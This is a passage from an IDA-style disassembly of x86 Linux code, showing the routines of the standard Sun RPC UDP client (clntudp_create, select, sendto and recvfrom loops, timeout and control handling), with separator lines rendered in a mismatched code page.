		mov	edx, [eax+20h]
		mov	[ebx+0Ch], edx
		jmp	short loc_8064020
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806401C:				; CODE XREF: sub_8063FB4+1Cj
					; sub_8063FB4+25j
		xor	eax, eax
		jmp	short loc_8064025
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064020:				; CODE XREF: sub_8063FB4+3Aj
					; sub_8063FB4+47j ...
		mov	eax, 1

loc_8064025:				; CODE XREF: sub_8063FB4+6Aj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8063FB4	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_806402C	proc near		; DATA XREF: .data:080791B8o

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [esi+8]
		cmp	dword ptr [ebx+4], 0
		jz	short loc_8064048
		mov	eax, [ebx]
		push	eax
		call	close
		add	esp, 4

loc_8064048:				; CODE XREF: sub_806402C+Fj
		mov	edx, [ebx+50h]
		cmp	dword ptr [edx+1Ch], 0
		jz	short loc_806405D
		lea	eax, [ebx+4Ch]
		push	eax
		mov	eax, [edx+1Ch]
		call	eax
		add	esp, 4

loc_806405D:				; CODE XREF: sub_806402C+23j
		push	ebx
		call	free
		push	esi
		call	free
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_806402C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8064074	proc near		; DATA XREF: sub_8063B04+1D5o

var_54		= byte ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		jnz	short loc_806408C
		xor	eax, eax
		jmp	loc_8064169
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806408C:				; CODE XREF: sub_8064074+Ej
		lea	edx, [ebp+var_20]
		xor	eax, eax
		mov	ecx, 8
		mov	edi, edx
		cld
		repe stosd
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		bts	[ebp+var_20], eax

loc_80640A4:				; CODE XREF: sub_8064074+8Fj
		lea	edx, [ebp+var_40]
		lea	esi, [ebp+var_20]
		mov	edi, edx
		cld
		mov	ecx, 8
		repe movsd
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+8]
		mov	[ebp+var_48], edx
		mov	edx, [eax+0Ch]
		mov	[ebp+var_44], edx
		lea	edx, [ebp+var_48]
		push	edx
		push	0
		push	0
		lea	edx, [ebp+var_40]
		push	edx
		call	sub_80649C0
		mov	edx, eax
		push	edx
		call	select
		mov	edx, eax
		add	esp, 14h
		cmp	edx, 0FFFFFFFFh
		jz	short loc_80640FC
		test	edx, edx
		jnz	short loc_8064120
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+24h], 5
		mov	eax, 0FFFFFFFFh
		jmp	short loc_8064169
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80640FC:				; CODE XREF: sub_8064074+70j
		cmp	__errno, 4
		jz	short loc_80640A4
		mov	edi, [ebp+arg_0]
		mov	dword ptr [edi+24h], 4
		mov	edx, __errno
		mov	[edi+28h], edx
		mov	eax, 0FFFFFFFFh
		jmp	short loc_8064169
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064120:				; CODE XREF: sub_8064074+74j
		push	ebx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		call	read
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_8064154
		test	ebx, ebx
		jnz	short loc_8064167
		mov	edi, [ebp+arg_0]
		mov	dword ptr [edi+28h], 68h
		mov	dword ptr [edi+24h], 4
		mov	ebx, 0FFFFFFFFh
		jmp	short loc_8064167
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064154:				; CODE XREF: sub_8064074+C1j
		mov	edx, __errno
		mov	eax, [ebp+arg_0]
		mov	[eax+28h], edx
		mov	dword ptr [eax+24h], 4

loc_8064167:				; CODE XREF: sub_8064074+C5j
					; sub_8064074+DDj
		mov	eax, ebx

loc_8064169:				; CODE XREF: sub_8064074+12j
					; sub_8064074+85j ...
		lea	esp, [ebp+var_54]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8064074	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8064174	proc near		; DATA XREF: sub_8063B04+1D0o

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		jle	short loc_80641B8
		nop

loc_8064188:				; CODE XREF: sub_8064174+42j
		push	ebx
		push	esi
		mov	eax, [edi]
		push	eax
		call	write
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_80641B0
		mov	eax, __errno
		mov	[edi+28h], eax
		mov	dword ptr [edi+24h], 3
		mov	eax, 0FFFFFFFFh
		jmp	short loc_80641BB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80641B0:				; CODE XREF: sub_8064174+24j
		sub	ebx, eax
		add	esi, eax
		test	ebx, ebx
		jg	short loc_8064188

loc_80641B8:				; CODE XREF: sub_8064174+11j
		mov	eax, [ebp+arg_8]

loc_80641BB:				; CODE XREF: sub_8064174+3Aj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8064174	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80641C8	proc near		; CODE XREF: sub_8064400+27p
					; sub_80649E0+46p

var_4C		= byte ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_18]
		mov	esi, [ebp+arg_1C]
		xor	ebx, ebx
		call	sub_805E954
		push	0Ch
		call	malloc
		mov	[ebp+var_40], eax
		add	esp, 4
		test	eax, eax
		jz	short loc_806420E
		add	edi, 3
		and	edi, 0FFFFFFFCh
		add	esi, 3
		and	esi, 0FFFFFFFCh
		lea	edx, [edi+esi+64h]
		push	edx
		call	malloc
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_8064254

loc_806420E:				; CODE XREF: sub_80641C8+25j
		push	offset aOutOfMemory_0 ;	"out of	memory"
		push	1
		push	0Ah
		mov	edx, dword_8078F9C
		push	edx
		call	catgets
		push	eax
		push	offset aClntudp_create ; "clntudp_create: %s\n"
		push	offset unk_80787A4
		call	fprintf
		mov	dword_8079220, 0Ch
		mov	edx, __errno
		mov	dword_8079228, edx
		add	esp, 1Ch
		jmp	loc_80643D8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064254:				; CODE XREF: sub_80641C8+44j
		lea	edx, [ebx+esi+60h]
		mov	[ebx+58h], edx
		push	0
		lea	edx, [ebp+var_38]
		push	edx
		call	gettimeofday
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		cmp	word ptr [ecx+2], 0
		jnz	short loc_806429D
		push	11h
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_80649E0
		add	esp, 10h
		test	ax, ax
		jz	loc_80643D8
		mov	edx, eax
		xchg	dl, dh
		mov	ecx, [ebp+arg_0]
		mov	[ecx+2], dx

loc_806429D:				; CODE XREF: sub_80641C8+A9j
		mov	ecx, [ebp+var_40]
		mov	dword ptr [ecx+4], offset off_80791C0
		mov	[ecx+8], ebx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	[ebx+8], edx
		mov	edx, [ecx+4]
		mov	[ebx+0Ch], edx
		mov	edx, [ecx+8]
		mov	[ebx+10h], edx
		mov	edx, [ecx+0Ch]
		mov	[ebx+14h], edx
		mov	dword ptr [ebx+18h], 10h
		mov	edx, [ebp+arg_C]
		mov	[ebx+1Ch], edx
		mov	edx, [ebp+arg_10]
		mov	[ebx+20h], edx
		mov	dword ptr [ebx+24h], 0FFFFFFFFh
		mov	dword ptr [ebx+28h], 0FFFFFFFFh
		mov	[ebx+54h], edi
		mov	[ebx+5Ch], esi
		call	getpid
		mov	edx, eax
		xor	edx, [ebp+var_38]
		xor	edx, [ebp+var_34]
		mov	[ebp+var_30], edx
		mov	[ebp+var_2C], 0
		mov	[ebp+var_28], 2
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_24], ecx
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_20], ecx
		push	0
		push	edi
		mov	edx, [ebx+58h]
		push	edx
		lea	esi, [ebx+38h]
		push	esi
		call	sub_8065408
		lea	edx, [ebp+var_30]
		push	edx
		push	esi
		call	sub_8064C9C
		add	esp, 18h
		test	eax, eax
		jz	loc_80643D8
		mov	edx, [ebx+3Ch]
		push	esi
		mov	edx, [edx+10h]
		call	edx
		mov	[ebx+50h], eax
		add	esp, 4
		mov	ecx, [ebp+arg_14]
		cmp	dword ptr [ecx], 0
		jge	short loc_80643B8
		mov	[ebp+var_3C], 1
		push	11h
		push	2
		push	2
		call	socket
		mov	ecx, [ebp+arg_14]
		mov	[ecx], eax
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_8064388
		mov	dword_8079220, 0Ch
		mov	edx, __errno
		mov	dword_8079228, edx
		jmp	short loc_80643D8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064388:				; CODE XREF: sub_80641C8+1A5j
		push	0
		mov	ecx, [ebp+arg_14]
		mov	edx, [ecx]
		push	edx
		call	sub_8066A50
		lea	edx, [ebp+var_3C]
		push	edx
		push	5421h
		mov	ecx, [ebp+arg_14]
		mov	edx, [ecx]
		push	edx
		call	ioctl
		mov	dword ptr [ebx+4], 1
		add	esp, 14h
		jmp	short loc_80643BF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80643B8:				; CODE XREF: sub_80641C8+187j
		mov	dword ptr [ebx+4], 0

loc_80643BF:				; CODE XREF: sub_80641C8+1EBj
		mov	ecx, [ebp+arg_14]
		mov	edx, [ecx]
		mov	[ebx], edx
		call	sub_8067094
		mov	ecx, [ebp+var_40]
		mov	[ecx], eax
		mov	eax, [ebp+var_40]
		jmp	short loc_80643F6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80643D8:				; CODE XREF: sub_80641C8+84j
					; sub_80641C8+C4j ...
		test	ebx, ebx
		jz	short loc_80643E5
		push	ebx
		call	free
		add	esp, 4

loc_80643E5:				; CODE XREF: sub_80641C8+212j
		cmp	[ebp+var_40], 0
		jz	short loc_80643F4
		mov	ecx, [ebp+var_40]
		push	ecx
		call	free

loc_80643F4:				; CODE XREF: sub_80641C8+221j
		xor	eax, eax

loc_80643F6:				; CODE XREF: sub_80641C8+20Bj
		lea	esp, [ebp+var_4C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_80641C8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8064400	proc near		; CODE XREF: sub_805CE84+3FBp

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_14]
		push	2260h
		push	2260h
		push	edx
		mov	edx, [ebp+arg_10]
		mov	esi, [ebp+arg_C]
		push	edx
		push	esi
		push	ecx
		push	eax
		push	ebx
		call	sub_80641C8
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8064400	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8064438	proc near		; DATA XREF: .data:080791C0o

var_D8		= byte ptr -0D8h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_80		= byte ptr -80h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_50		= byte ptr -50h
var_40		= dword	ptr -40h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	[ebp+var_A8], eax
		mov	[ebp+var_B8], 2
		cmp	dword ptr [eax+28h], 0FFFFFFFFh
		jnz	short loc_8064474
		mov	ecx, [ebp+arg_18]
		mov	[ebp+var_C0], ecx
		mov	ecx, [ebp+arg_1C]
		mov	[ebp+var_BC], ecx
		jmp	short loc_806448C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064474:				; CODE XREF: sub_8064438+26j
		mov	edi, [ebp+var_A8]
		mov	eax, [edi+24h]
		mov	[ebp+var_C0], eax
		mov	eax, [edi+28h]
		mov	[ebp+var_BC], eax

loc_806448C:				; CODE XREF: sub_8064438+3Aj
		mov	[ebp+var_B4], 0
		mov	[ebp+var_B0], 0

loc_80644A0:				; CODE XREF: sub_8064438+422j
		mov	ecx, [ebp+var_A8]
		add	ecx, 38h
		mov	[ebp+var_AC], ecx
		mov	edi, [ebp+var_A8]
		mov	dword ptr [edi+38h], 0
		mov	eax, [edi+3Ch]
		mov	edx, [edi+50h]
		push	edx
		push	ecx
		mov	edx, [eax+14h]
		call	edx
		mov	edx, [edi+58h]
		inc	word ptr [edx]
		mov	ecx, [edi+3Ch]
		lea	edx, [ebp+arg_4]
		push	edx
		mov	edi, [ebp+var_AC]
		push	edi
		mov	edx, [ecx+4]
		call	edx
		mov	edx, eax
		add	esp, 10h
		test	edx, edx
		jz	short loc_806451C
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		mov	ecx, [edx+20h]
		push	edi
		push	edx
		mov	edx, [ecx+4]
		call	edx
		mov	edx, eax
		add	esp, 8
		test	edx, edx
		jz	short loc_806451C
		mov	edi, [ebp+arg_C]
		push	edi
		mov	eax, [ebp+var_AC]
		push	eax
		mov	ecx, [ebp+arg_8]
		call	ecx
		mov	edx, eax
		add	esp, 8
		test	edx, edx
		jnz	short loc_8064534

loc_806451C:				; CODE XREF: sub_8064438+B1j
					; sub_8064438+C9j
		mov	edi, [ebp+var_A8]
		mov	dword ptr [edi+2Ch], 1
		mov	eax, 1
		jmp	loc_8064876
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064534:				; CODE XREF: sub_8064438+E2j
		mov	eax, [ebp+var_AC]
		mov	edx, [eax+4]
		push	eax
		mov	edx, [edx+10h]
		call	edx
		mov	ebx, eax
		add	esp, 4

loc_8064548:				; CODE XREF: sub_8064438+260j
					; sub_8064438+280j
		mov	ecx, [ebp+var_A8]
		mov	edx, [ecx+18h]
		push	edx
		mov	edx, [ebp+var_A8]
		add	edx, 8
		push	edx
		push	0
		push	ebx
		mov	edx, [ecx+58h]
		push	edx
		mov	edx, [ecx]
		push	edx
		call	sendto
		mov	edx, eax
		add	esp, 18h
		cmp	edx, ebx
		jz	short loc_8064594
		mov	edx, __errno
		mov	edi, [ebp+var_A8]
		mov	[edi+30h], edx
		mov	dword ptr [edi+2Ch], 3
		mov	eax, 3
		jmp	loc_8064876
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064594:				; CODE XREF: sub_8064438+13Aj
		cmp	[ebp+var_C0], 0
		jnz	short loc_80645AA
		cmp	[ebp+var_BC], 0
		jz	loc_80646BE

loc_80645AA:				; CODE XREF: sub_8064438+163j
		mov	edx, dword_8079230
		mov	[ebp+var_74], edx
		mov	edx, dword_8079234
		mov	[ebp+var_70], edx
		mov	edx, dword_8079238
		mov	[ebp+var_6C], edx
		mov	ecx, [ebp+arg_14]
		mov	[ebp+var_64], ecx
		mov	edi, [ebp+arg_10]
		mov	[ebp+var_60], edi
		lea	edx, [ebp+var_40]
		xor	eax, eax
		mov	ecx, 8
		mov	edi, edx
		cld
		repe stosd
		mov	eax, [ebp+var_A8]
		mov	eax, [eax]
		bts	[ebp+var_40], eax

loc_80645EC:				; CODE XREF: sub_8064438+2A7j
					; sub_8064438+31Cj ...
		lea	edx, [ebp+var_20]
		lea	esi, [ebp+var_40]
		mov	edi, edx
		cld
		mov	ecx, 8
		repe movsd
		mov	eax, [ebp+var_A8]
		mov	edx, [eax+1Ch]
		mov	[ebp+var_A0], edx
		mov	edx, [eax+20h]
		mov	[ebp+var_9C], edx
		lea	edx, [ebp+var_A0]
		push	edx
		push	0
		push	0
		lea	edx, [ebp+var_20]
		push	edx
		call	sub_80649C0
		mov	edx, eax
		push	edx
		call	select
		mov	edx, eax
		add	esp, 14h
		cmp	edx, 0FFFFFFFFh
		jz	loc_80646D8
		test	edx, edx
		jnz	loc_8064708
		mov	ecx, [ebp+var_A8]
		mov	ecx, [ecx+1Ch]
		add	[ebp+var_B4], ecx
		mov	edi, [ebp+var_A8]
		mov	edi, [edi+20h]
		add	[ebp+var_B0], edi
		cmp	[ebp+var_B0], 0F423Fh
		jle	short loc_806468C

loc_8064670:				; CODE XREF: sub_8064438+252j
		inc	[ebp+var_B4]
		add	[ebp+var_B0], 0FFF0BDC0h
		cmp	[ebp+var_B0], 0F423Fh
		jg	short loc_8064670

loc_806468C:				; CODE XREF: sub_8064438+236j
		mov	eax, [ebp+var_C0]
		cmp	[ebp+var_B4], eax
		jl	loc_8064548
		mov	ecx, [ebp+var_C0]
		cmp	[ebp+var_B4], ecx
		jnz	short loc_80646BE
		mov	edi, [ebp+var_BC]
		cmp	[ebp+var_B0], edi
		jl	loc_8064548

loc_80646BE:				; CODE XREF: sub_8064438+16Cj
					; sub_8064438+272j
		mov	eax, [ebp+var_A8]
		mov	dword ptr [eax+2Ch], 5
		mov	eax, 5
		jmp	loc_8064876
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80646D8:				; CODE XREF: sub_8064438+200j
		cmp	__errno, 4
		jz	loc_80645EC
		mov	edx, __errno
		mov	ecx, [ebp+var_A8]
		mov	[ecx+30h], edx
		mov	dword ptr [ecx+2Ch], 4
		mov	eax, 4
		jmp	loc_8064876
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8064708:				; CODE XREF: sub_8064438+208j
					; sub_8064438+313j
		mov	[ebp+var_A4], 10h
		lea	edx, [ebp+var_A4]
		push	edx
		lea	edx, [ebp+var_50]
		push	edx
		push	0
		mov	edi, [ebp+var_A8]
		mov	edx, [edi+5Ch]
		push	edx
		mov	edx, [ebp+var_A8]
		add	edx, 60h
		push	edx
		mov	edx, [edi]
		push	edx
		call	recvfrom
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jge	short loc_806477C
		cmp	__errno, 4
		jz	short loc_8064708
		cmp	__errno, 0Bh
		jz	loc_80645EC
		jz	loc_80645EC
		mov	edx, __errno
		mov	[edi+30h], edx
		mov	dword ptr [edi+2Ch], 4
		mov	eax, 4
		jmp	loc_8064876
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806477C:				; CODE XREF: sub_8064438+30Aj
		cmp	esi, 3
		jbe	loc_80645EC
		mov	eax, [ebp+var_A8]
		mov	eax, [eax+58h]
		mov	ecx, [ebp+var_A8]
		mov	edx, [ecx+60h]
		cmp	[eax], edx
		jnz	loc_80645EC
		push	1
		push	esi
		mov	edx, [ebp+var_A8]
		add	edx, 60h
		push	edx
		lea	ebx, [ebp+var_98]
		push	ebx
		call	sub_8065408
		lea	esi, [ebp+var_80]
		push	esi
		push	ebx
		call	sub_8064C48
		add	esp, 18h
		test	eax, eax
		jz	loc_8064860
		mov	edx, [ebp+var_A8]
		add	edx, 2Ch
		push	edx
		push	esi
		call	sub_8064DE0
		add	esp, 8
		mov	edi, [ebp+var_A8]
		cmp	dword ptr [edi+2Ch], 0
		jnz	short loc_8064834
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	ecx, [eax+20h]
		lea	edx, [ebp+var_74]
		push	edx
		push	eax
		mov	edx, [ecx+8]
		call	edx
		mov	edx, eax
		add	esp, 8
		test	edx, edx
		jnz	short loc_8064815
		mov	dword ptr [edi+2Ch], 7
		mov	dword ptr [edi+30h], 6

loc_8064815:				; CODE XREF: sub_8064438+3CDj
		cmp	[ebp+var_70], 0
		jz	short loc_806486D
		mov	edi, [ebp+var_AC]
		mov	dword ptr [edi], 2
		lea	edx, [ebp+var_74]
		push	edx
		push	edi
		call	sub_8064B1C
		jmp	short loc_806486D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064834:				; CODE XREF: sub_8064438+3B2j
		cmp	[ebp+var_B8], 0
		jle	short loc_806486D
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		mov	ecx, [edx+20h]
		push	edx
		mov	edx, [ecx+0Ch]
		call	edx
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_806486D
		dec	[ebp+var_B8]
		jmp	loc_80644A0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8064860:				; CODE XREF: sub_8064438+38Fj
		mov	edi, [ebp+var_A8]
		mov	dword ptr [edi+2Ch], 2

loc_806486D:				; CODE XREF: sub_8064438+3E1j
					; sub_8064438+3F9j ...
		mov	eax, [ebp+var_A8]
		mov	eax, [eax+2Ch]

loc_8064876:				; CODE XREF: sub_8064438+F6j
					; sub_8064438+157j ...
		lea	esp, [ebp+var_D8]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8064438	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8064884	proc near		; DATA XREF: .data:080791C8o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edx, [eax+8]
		mov	eax, [edx+2Ch]
		mov	[ecx], eax
		mov	eax, [edx+30h]
		mov	[ecx+4], eax
		mov	eax, [edx+34h]
		mov	[ecx+8], eax
		mov	esp, ebp
		pop	ebp
		retn
sub_8064884	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80648A8	proc near		; DATA XREF: .data:080791CCo

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	eax, [eax+8]
		lea	edx, [eax+38h]
		mov	dword ptr [eax+38h], 2
		push	ecx
		push	edx
		call	ebx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_80648A8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80648D0	proc near		; DATA XREF: .data:080791C4o
		push	ebp
		mov	ebp, esp
		mov	esp, ebp
		pop	ebp
		retn
sub_80648D0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80648D8	proc near		; DATA XREF: .data:080791D4o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+arg_8]
		mov	eax, [edx+8]
		mov	edx, [ebp+arg_4]
		dec	edx
		cmp	edx, 4		; switch 5 cases 
		ja	short loc_8064968 ; default
		jmp	ds:off_80648F8[edx*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
off_80648F8	dd offset loc_806490C, offset loc_806491C, offset loc_806494C
					; DATA XREF: sub_80648D8+16r
		dd offset loc_806492C, offset loc_806493C ; jump table for switch statement
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806490C:				; CODE XREF: sub_80648D8+16j
					; DATA XREF: sub_80648D8+20o
		mov	edx, [ebx]	; case 0x0
		mov	ecx, [ebx+4]
		mov	[eax+24h], edx
		mov	[eax+28h], ecx
		jmp	short loc_806496C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806491C:				; CODE XREF: sub_80648D8+16j
					; DATA XREF: sub_80648D8+20o
		mov	edx, [eax+24h]	; case 0x1
		mov	ecx, [eax+28h]
		mov	[ebx], edx
		mov	[ebx+4], ecx
		jmp	short loc_806496C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
